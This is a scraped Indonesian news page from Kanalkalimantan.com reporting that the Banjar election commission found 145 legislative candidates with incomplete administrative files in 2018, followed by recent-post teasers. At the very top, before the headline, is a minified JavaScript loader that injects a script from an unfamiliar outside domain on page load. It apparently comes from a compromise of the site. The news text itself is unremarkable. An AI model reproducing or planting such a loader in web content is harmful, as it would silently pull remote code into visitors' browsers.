(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

145 Caleg di Kabupaten Banjar Masih Perlu Perbaikan Berkas


MARTAPURA, Setelah sebelumnya melakukan proses pemeriksaan verifikasi kelengkapan adminsitrasi berkas, KPU Banjar menyerahkan hasilnya ke perwakilan parpol, Sabtu (21/7) malam. Dari hasil penelitian kelengkapan berkas, sebanyak 145 orang bacaleg yang masih bermasalah dalam hal administrasinya.

Berdasarkan pantauan Kanalkalimantan.com, nampak hadir perwakilan 16 parpol yang sebelumnya mendaftarkan calegnya di kantor KPU Kabupaten Banjar, Jalan A Yani Kompleks Pangeran Antasari, Martapura. Mereka datang dari pukul 20.30-22.00 Wita.

Menurut Divisi Teknis Pencalonan KPU Kabupaten Banjar M Zain, terhitung dari tanggal 22 sampai 31 Juli 2018 merupakan masa perbaikan berkas. Hal ini sebagaimana peraturan Komisi Pemilihan Umum Republik Indonesia No 20 tahun 2018 adalah masa perbaikan daftar calon dan syarat calon serta pengajuan bakal calon pengganti anggota DPR, DPRD Provinsi dan DPRD Kabupaten/Kota.

“Pengajuan bakal calon oleh Partai Politik hanya dilakukan 1 (satu) kali pada masa pengajuan sebagaimana dimaksud, jadi diharapkan untuk benar-benar melengkapi pengajukan persyaratan tersebut,” jelasnya.

Tambahnya Zain, dalam tahapan tersebut jangan sampai ada parpol yang mengganti bacalegnya sebelum tahap Daftar Calon Sementara (DCS) mengingat belum saatnya untuk melakukan pergantian, jadi diharapkan pada masa hingga tanggal 31 Juli nanti hanya diperkenankan untuk melengkapi berkas saja.

“Pergantian bacaleg yang paling mungkin adalah pada masa DCS, dengan tiga persyaratan seperti tanggapan masyarakat tentang kelengkapan berkas pemalsuan dokumen yang sudah berketetapan hukum, meninggal dunia dan mengundurkan diri,” jelasnya.

Sementara itu Ketua KPU Banjar Muhaimin S.Ag, saat ditanya umumnya kekurangan syarat yang harus dilengkapi, mengatakan sebagian besar terkait masalah administrasi.

“Setiap partai mempunyai catatan masing-masing, yang harus mereka lengkapi dalam waktu 10 hari mendatang,  yang paling banyak dari sisi administrasi seperti SKCK yang belum ada, ijazah yang belum dilegalisir,” ujarnya.

Ditanya berapa persen bacaleg yang sudah lengkap pemberkasannya dan berapa persen bacaleg yang harus diperbaiki kelengkapan adminsitrasi, Muhaimin ada sekitar 75% bacaleg yang sudah lengkap administrasinya. “Sisanya untuk 25% lagi diharapkan dapat melengkapinya sebelum tanggal pengajuan perbaikan yang sudah ditetapkan,” tambahnya.


Page: 1 2

Desy Arfianty

Recent Posts

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

6 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

7 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

8 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

8 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

9 jam ago

Jelang Pilkada 2024, KPU HSU Melantik 50 Anggota PPK

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More

11 jam ago

This website uses cookies.